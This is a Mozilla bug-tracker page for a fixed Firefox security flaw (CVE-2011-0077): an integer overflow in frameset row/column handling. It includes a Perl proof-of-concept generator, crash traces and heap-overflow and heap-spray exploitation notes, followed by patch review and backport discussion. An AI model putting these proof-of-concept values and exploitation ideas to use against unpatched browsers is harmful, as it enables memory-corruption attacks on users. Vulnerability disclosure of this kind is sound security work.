Closed Bug 623998 (CVE-2011-0077) Opened 14 years ago Closed 13 years ago

Integer overflow in frameset spec (not bug 576447) w/gcc compiler

Categories

(Core :: Layout: Images, Video, and HTML Frames, defect)

Product:
Core
Component:
Layout: Images, Video, and HTML Frames
Platform:
All
Linux
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
RESOLVED FIXED
Tracking Flags:
Tracking Status
blocking2.0 --- final+
status1.9.2 --- .17-fixed
status1.9.1 --- .19-fixed

People

(Reporter: ianpbeer, Assigned: cajbir)

References

Details

(Keywords: crash, testcase, Whiteboard: [sg:critical?][softblocker])

Attachments

(4 files, 2 obsolete files)

POC crash on 32 bit linux (ubuntu 10.04) (Firefox 3.6.13)
256.70 KB, text/html
Details
Overflow in new[] POC
128.24 KB, text/html
Details
This POC will overflow the new allocator when creating the mChildBorderColors array leading to a heap overflow
176.58 KB, text/html
Details
Fix for mozilla-central
7.18 KB, patch
roc
: review+
dveditz
: approval1.9.2.17+
dveditz
: approval1.9.1.19+
Details | Diff | Splinter Review 
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13
Build Identifier: 3.6.13

When creating a frameset element both a rows and cols spec are parsed by nsHTMLFrameSetElement::ParseRowCol, which limits their sizes to 100'000 elements.

If a frameset spec is created where the product of the rows and cols sizes is >= 2^32 we overflow the PRInt32 numCells:

layout/generic/nsFrameSetFrame.cpp
    352   PRInt32 numCells = mNumRows*mNumCols;
    369   mChildFrameborder  = new nsFrameborder[numCells];

With carefully crafted values for the rows and cols spec this can lead to arbitrary code execution on some platforms.

Perl script to generate POC:

****************************
#!/usr/bin/env perl
$spec1 = "*," x 61750;
$spec1 = $spec1 . "*";
$spec2 = "*," x 69552;
$spec2 = $spec2 . "*";
print "<html>";
print "<frameset rows='$spec1' cols='$spec2'>
<frame src='example1.com'>
<frame src='example2.com'>
<frame src='example3.com'>
<frame src='example4.com'>
<frame src='example5.com'>
<frame src='example6.com'>
<frame src='example7.com'>
</frameset>
</html>";
****************************

This POC crashes reliably on my 32 bit linux box with the following stack trace:

Program received signal SIGSEGV, Segmentation fault.
nsHTMLFramesetFrame::GetNoResize (this=0xa7edd6b0, aChildFrame=0x0) at nsFrameSetFrame.cpp:1359
1359	  nsIContent* content = aChildFrame->GetContent();
(gdb) bt
#0  nsHTMLFramesetFrame::GetNoResize (this=0xa7edd6b0, aChildFrame=0x0) at nsFrameSetFrame.cpp:1359
#1  0xb74956a6 in nsHTMLFramesetFrame::CanChildResize (this=0xa7edd6b0, aVertical=1, aLeft=0, aChildX=69553, aFrameset=0)
    at nsFrameSetFrame.cpp:1375
#2  0xb74957d1 in nsHTMLFramesetFrame::SetBorderResize (this=0xa7edd6b0, aChildTypes=0xa7ceef20, aBorderFrame=0xa7eddcc8)
    at nsFrameSetFrame.cpp:1452
#3  0xb74970ef in nsHTMLFramesetFrame::Reflow (this=0xa7edd6b0, aPresContext=0xa9c96c00, aDesiredSize=..., 
    aReflowState=..., aStatus=@0xbfffddf4) at nsFrameSetFrame.cpp:1258
#4  0xb74809ed in nsBlockReflowContext::ReflowBlock (this=0xbfffdd00, aSpace=<value optimised out>, aApplyTopMargin=1, 
    aPrevMargin=..., aClearance=0, aIsAdjacentWithTop=1, aLine=0xa7eddaf8, aFrameRS=..., aFrameReflowStatus=@0xbfffddf4, 
    aState=...) at nsBlockReflowContext.cpp:310
#5  0xb747cdbd in nsBlockFrame::ReflowBlockFrame (this=0xa7edd300, aState=..., aLine=..., aKeepReflowGoing=0xbfffdf7c)
    at nsBlockFrame.cpp:3141
#6  0xb747efe0 in nsBlockFrame::ReflowLine (this=0xa7edd300, aState=..., aLine=..., aKeepReflowGoing=0xbfffdf7c)
    at nsBlockFrame.cpp:2408
#7  0xb747f4d4 in nsBlockFrame::ReflowDirtyLines (this=0xa7edd300, aState=...) at nsBlockFrame.cpp:1921
#8  0xb747fe68 in nsBlockFrame::Reflow (this=0xa7edd300, aPresContext=0xa9c96c00, aMetrics=..., aReflowState=..., 
    aStatus=@0xbfffe708) at nsBlockFrame.cpp:991
#9  0xb7486bcc in nsContainerFrame::ReflowChild (this=0xa7edd258, aKidFrame=0xa7edd300, aPresContext=0xa9c96c00, 
    aDesiredSize=..., aReflowState=..., aX=0, aY=0, aFlags=<value optimised out>, aStatus=@0xbfffe708, aTracker=0x0)
    at nsContainerFrame.cpp:800
#10 0xb749f05a in CanvasFrame::Reflow (this=0xa7edd258, aPresContext=0xa9c96c00, aDesiredSize=..., aReflowState=..., 
    aStatus=@0xbfffe708) at nsHTMLFrame.cpp:549
#11 0xb7486bcc in nsContainerFrame::ReflowChild (this=0xa9196bc8, aKidFrame=0xa7edd258, aPresContext=0xa9c96c00, 
    aDesiredSize=..., aReflowState=..., aX=0, aY=0, aFlags=<value optimised out>, aStatus=@0xbfffe708, aTracker=0x0)
    at nsContainerFrame.cpp:800
#12 0xb74cf130 in ViewportFrame::Reflow (this=0xa9196bc8, aPresContext=0xa9c96c00, aDesiredSize=..., aReflowState=..., 
    aStatus=@0xbfffe708) at nsViewportFrame.cpp:284
#13 0xb74678ea in PresShell::DoReflow (this=0xa8553460, target=0xa9196bc8, aInterruptible=1) at nsPresShell.cpp:7296
#14 0xb746c146 in PresShell::ProcessReflowCommands (this=0xa8553460, aInterruptible=1) at nsPresShell.cpp:7432
#15 0xb746d8f8 in PresShell::FlushPendingNotifications (this=0xa8553460, aType=Flush_InterruptibleLayout)
    at nsPresShell.cpp:4910
#16 0xb74670c0 in PresShell::ReflowEvent::Run (this=0xa7bf4e90) at nsPresShell.cpp:7106
#17 0xb7c16b50 in nsThread::ProcessNextEvent (this=0xb5ba1330, mayWait=0, result=0xbfffe85c) at nsThread.cpp:527
#18 0xb7be53a3 in NS_ProcessNextEvent_P (thread=0x0, mayWait=0) at nsThreadUtils.cpp:250
#19 0xb7b5ab31 in mozilla::ipc::MessagePump::Run (this=0xb5bcb910, aDelegate=0xb5b3a7c0) at MessagePump.cpp:110
#20 0xb7bb3732 in MessageLoop::RunInternal (this=0xb5b3a7c0) at ./src/base/message_loop.cc:216
#21 0xb7bb3756 in MessageLoop::RunHandler (this=0xb5b3a7c0) at ./src/base/message_loop.cc:199
#22 0xb7bb37cd in MessageLoop::Run (this=0xb5b3a7c0) at ./src/base/message_loop.cc:173
#23 0xb7ab3c44 in nsBaseAppShell::Run (this=0xb5393150) at nsBaseAppShell.cpp:174
#24 0xb7975108 in nsAppStartup::Run (this=0xb312b310) at nsAppStartup.cpp:183
#25 0xb72ada0e in XRE_main (argc=1, argv=0xbfffefc4, aAppData=0xb5b18380) at nsAppRunner.cpp:3483
#26 0x001119e3 in main (argc=1, argv=0xbfffefc4) at nsBrowserApp.cpp:158

Analysis:
The POC creates a frameset with 61751 rows and 69553 cols, which overflows to allocate memory for 7 frames.

nsHTMLFramesetFrame::Init uses this 7 value throughout and I can't find any opportunity for a heap overflow there, but nsHTMLFramesetFrame::SetBorderResize uses the mNumRows and mNumCols values to iterate through the cells.
(PRInt32 childX = aBorderFrame->mPrevNeighbor + (rowX * mNumCols);)

It passes the computed index to nsHTMLFramesetFrame::CanChildResize, which calls nsFrameList::FrameAt(PRInt32 aIndex) with the out of bounds index:

    276 nsFrameList::FrameAt(PRInt32 aIndex) const
    277 {
    278   NS_PRECONDITION(aIndex >= 0, "invalid arg");
    279   if (aIndex < 0) return nsnull;
    280   nsIFrame* frame = mFirstChild;
    281   while ((aIndex-- > 0) && frame) {
    282     frame = frame->GetNextSibling();
    283   }
    284   return frame;

This will walk off the end of the list and return NULL.

This is then passed to nsHTMLFramesetFrame::GetNoResize without checking for NULL. GetNoResize also performs no NULL check on the pointer it is passed before executing:

   1359   nsIContent* content = aChildFrame->GetContent();

(where aChildFrame is a NULL pointer)

If you can map the null page (eg: an older version of linux, not sure about other systems) you could heap spray hoping to control memory just above 0x00000000 to gain control of execution flow.

There may be a more elegant heap overflow possible using the integer overflow but I haven't found one.

The fix would be to limit the size of frameset specs to something way below 100'000, and a null check on the return value of nsFrameList::FrameAt.

Reproducible: Always

Steps to Reproduce:
1. Run perl script to generate html file
2. Open in browser
Actual Results:  
Crash

Expected Results:  
Not crash
Summary: Integer overflow in frameset spec (not 576447) → Integer overflow in frameset spec (not bug 576447)
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
blocking2.0: --- → ?
status1.9.1: --- → ?
status1.9.2: --- → ?
OS: Linux → All
Hardware: x86 → All
Whiteboard: [sg:critical?]
Confirming crash on 3.6.14pre
Status: UNCONFIRMED → NEW
status1.9.1: ? → wanted
status1.9.2: ? → wanted
Ever confirmed: true
I don't see how this could be other than a null deref, and we're generally less worried about old systems that let you map memory at null since so many things fall down in that case.

What insane pages are going to break if we limited framesets to 10x10, 100x100, or 250x250? or even 1024x1024? We don't need to allow framesets with 10 billion frames.
blocking1.9.1: ? → ---
blocking1.9.2: ? → ---
blocking2.0: ? → ---
Keywords: crash, testcase
Whiteboard: [sg:critical?] → [sg:dos?]
Exploiting that particular code path I agree does require the ability to map the null page which really should be stopped by the OS.

However I still think this is exploitable; for example using the method outline in the report for bug 576447 where the overflow actually happens in the new[] allocator.

Crafting new frameset specs with smaller sizes (eg 2^16) leads to this style of overflow and a different AV/crash.

I will attach a new POC showing this.
Attached file Overflow in new[] POC — 

    
    

    
  
This POC just sets mNumRows and mNumCols to 2^16+1 instead, which segfaults inside nsHTMLFramesetFrame::Init

With more carefully chosen values than these for mNumCols and mNumRows (taking into account the sizes of the array elements being allocated) it should be possible to control the overflow more carefully such that a heap overflow is possible.

I will do some more work on it an attach better POC + trace tomorrow.

    
    

    
  
(TYPO: should be 2^15 + 1)

    
    

    
  
As per the method used for bug 576447, this now sets the rows to 3078 and the cols to 87211. This leads to the correct value being computed for numCells and to the correct allocations of mChildTypes and mChildFrameborder (which both have sizes of 4 bytes.)

However, when allocating:
    370   mChildBorderColors  = new nsBorderColor[numCells]; 

the size of struct nsBorderColor is 16 bytes, which leads to an allocation of 16*87211*3078 mod 2^32 == 32 bytes.

nsBorderColor is defined as:

     64 struct nsBorderColor 
     65 {
     66   nscolor mLeft;
     67   nscolor mRight;
     68   nscolor mTop;
     69   nscolor mBottom;
     70 
     71   nsBorderColor() { Set(NO_COLOR); }
     72   ~nsBorderColor() {}
     73   void Set(nscolor aColor) { mLeft = mRight = mTop = mBottom = aColor; }
     74 };

so the constructor is called for numCells elements in the array (where numCells == 87211*3078) leading to a heap overflow, which with more work could be more controlled leading to arbitrary code execution.

I've changed the whiteboard back to [sg:critical?] since this shows that the vuln can lead to more than just a null deref.

I'm very new to the firefox dev environment, if the decision as to whether it's critical or not isn't mine to make then please change it back!
Whiteboard: [sg:dos?] → [sg:critical?]

    
    

    
  
Also, this may now only affect platforms using gcc/stdlib since as detailed in Bug 576447 and Bug 466445 Win32 should throw an exception on the overflow in new[]
Assignee: nobody → jonas
blocking2.0: --- → ?
Depends on: 466445
OS: All → Linux
Summary: Integer overflow in frameset spec (not bug 576447) → Integer overflow in frameset spec (not bug 576447) w/gcc compiler
Assignee: jonas → chris.double
Whiteboard: [sg:critical?] → [sg:critical?][softblocker]

    
    

    
  

      
      
      
      

        Attached patch
          
          
        Fix for mozilla-central (obsolete)
        — 
          — Splinter Review
      

    


  
This fix changes the maximum number of frameset rows and cols to 100. It adds PR_STATIC_ASSERT's to check that overflows don't occur during the allocations. These assert's cause compile time failures when using the original value of 100000 for the maximum value.

Separate patch containing crash tests to follow.

        Attachment #504959 -
        Flags: review?(roc)

    
    

    
  

      
      
      
      

        Attached patch
          
          
        Crashtests (obsolete)
        — 
          — Splinter Review
      

    


  
Crashtests for the issue. These are the poc's produced by the original submitter.

        Attachment #504960 -
        Flags: review?(roc)

    
    

    
  
100 is almost certainly too low, actually, unless the Lotus web stuff has been rewritten...

Can we do 1000?

    
    

    
  
(And no, I'm not kidding; they had tens of thousands of frames for some reason.)

    
    

    
  
I had done a limit of 1,000 but that resulted in large memory allocation and the browser hanging for a long time.

    
    

    
  
(In reply to comment #14)
> 100 is almost certainly too low, actually, unless the Lotus web stuff has been
> rewritten...

Urgh. Is there a bug with more information?

    
    

    
  
Um... there are some really old bugs in which they were complaining about our 5000-frame-total cap on frame trees and the like...  (And it might not have been Lotus, though I think it was.  It was _definitely_ something IBM.)  I could dig up the bug numbers if that would really help, I guess.

    
    

    
  
This patch allows 100 frames in each direction. Nested framesets could easily take the total number of frames over 5000 if people wanted that. The question is whether people need more than 100 rows or columns in a single frameset.

    
    

    
  
+  // Maximum value of mNumRows and mNumCols is NS_MAX_FRAMESET_SPEC_COUNT
+  PR_STATIC_ASSERT(NS_MAX_FRAMESET_SPEC_COUNT < UINT_MAX / sizeof(nscoord));
   mRowSizes  = new nscoord[mNumRows];

I don't think we actually need these asserts where we're not doing multiplication ourselves. I assume that the implementation of 'new' will avoid overflow when it internally multiplies by sizeof(nscoord) etc.

+  PR_STATIC_ASSERT(NS_MAX_FRAMESET_SPEC_COUNT < UINT_MAX / sizeof(PRInt32));

Here I guess we should be asserting that NS_MAX_FRAMESET_SPEC_COUNT < PR_INT32_MAX/NS_MAX_FRAMESET_SPEC_COUNT.

+  // Ensure we can't overflow numCells
+  PR_STATIC_ASSERT(NS_MAX_FRAMESET_SPEC_COUNT * NS_MAX_FRAMESET_SPEC_COUNT < PR_INT32_MAX);

Same here. I don't think there's a guarantee that the compiler's calculations won't overflow...

    
    

    
  
Maybe instead of capping NS_MAX_FRAMESET_SPEC_COUNT we should just check that memory allocation calculations don't overflow, and move on. Or set the limit to something ridiculously high like 16000.

As for the test, we can try create a frameset which is 20,000 x 1 and see if we get the number of frames we expect.

    
    

    
  
(In reply to comment #20)
> I don't think we actually need these asserts where we're not doing
> multiplication ourselves. I assume that the implementation of 'new' will avoid
> overflow when it internally multiplies by sizeof(nscoord) etc.

Unfortunately I don't think we can trust the implementation. See bug 466445 and bug 576447 for an example of it in practice.

    
    

    
  


  
Addresses review comments. Working on test changes as suggested now.

        Attachment #504959 -
        Attachment is obsolete: true

        Attachment #504982 -
        Flags: review?(roc)

        Attachment #504959 -
        Flags: review?(roc)

    
    

    
  
Comment on attachment 504960 [details] [diff] [review]
Crashtests

On discussion with roc I'm obsoleting the crash test. I've been unable to create a test that doesn't consume huge amounts of memory (>2GB)  when succeeding.

        Attachment #504960 -
        Attachment is obsolete: true

        Attachment #504960 -
        Flags: review?(roc)

    
    

    
  
attachment 504982 [details] [diff] [review] applies cleanly to 1.9.1 and 1.9.2. I'll request approval once it's baked on mozilla-central for a bit.

    
    

    
  
Comment on attachment 504982 [details] [diff] [review]
Fix for mozilla-central

Requesting approval to land on 1.9.2 and 1.9.1. The patch has baked on mozilla-central for about a week without issues. The patch has no performance issues.

The oly backwards compatibility issue I can think of is that we've lowered the number of frames that a frameset can have to 16,000. Frames with more than this number previously would allocate enormous amounts of memory, or crash and hit the error described in this bug so I don't see this as a risk.

Tests were not included on discussion with roc as the tests that could trigger the error case allocated many gigabytes of memory making it problematic to run.

        Attachment #504982 -
        Flags: approval1.9.2.14?

        Attachment #504982 -
        Flags: approval1.9.1.17?

    
    

    
  
This is actually fixed on trunk by Chris's checkin.
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED

    
    

    
  
Comment on attachment 504982 [details] [diff] [review]
Fix for mozilla-central

These approval requests should really be for the releases that aren't already built and about to go out to users.

        Attachment #504982 -
        Flags: approval1.9.2.15?

        Attachment #504982 -
        Flags: approval1.9.1.18?

    
    

    
  
Comment on attachment 504982 [details] [diff] [review]
Fix for mozilla-central

Approved for 1.9.2.15 and 1.9.1.18, a=dveditz for release-drivers

        Attachment #504982 -
        Flags: approval1.9.2.15?

        Attachment #504982 -
        Flags: approval1.9.2.15+

        Attachment #504982 -
        Flags: approval1.9.2.14?

        Attachment #504982 -
        Flags: approval1.9.1.18?

        Attachment #504982 -
        Flags: approval1.9.1.18+

        Attachment #504982 -
        Flags: approval1.9.1.17?

    
    

    
  
I notice that this still crashes 3.6.14, released a couple of days ago.

(at least on the Ubuntu 10.10 3.6.14 packages which went out today)

Should this have been patched in that release?

    
    

    
  
No, Ian. Read comment 30. This is approved for 1.9.2.15 (which will be 1.9.2.16 as of this morning). This was not fixed in 1.9.2.14 or 3.6.14.

    
    

    
  
You're right, sorry. I'd just upgraded the ubuntu package, ran some quick tests and saw this crash. I hadn't read that comment properly, my bad.

    
    

    
  
The "3.6.15" we're releasing today does not fix this bug, the release containing this bug fix has been renamed to "3.6.16" and the bugzilla flags will be updated to reflect that soon. Today's release is a re-release of 3.6.14 plus a fix for a bug that prevented many Java applets from starting up.
Alias: CVE-2011-0077
Group: core-security
Flags: sec-bounty+

    
  
Product: Core → Core Graveyard
Component: Layout: HTML Frames → Layout: Images
Product: Core Graveyard → Core

          You need to log in
          before you can comment on or make changes to this bug.
        






  

    
  







  

    

      
Attachment

      

      
      
      
      
    

    

      

        

          

            
General

            

              Creator: 



            

            
Created: 

            
Updated: 

            
Size: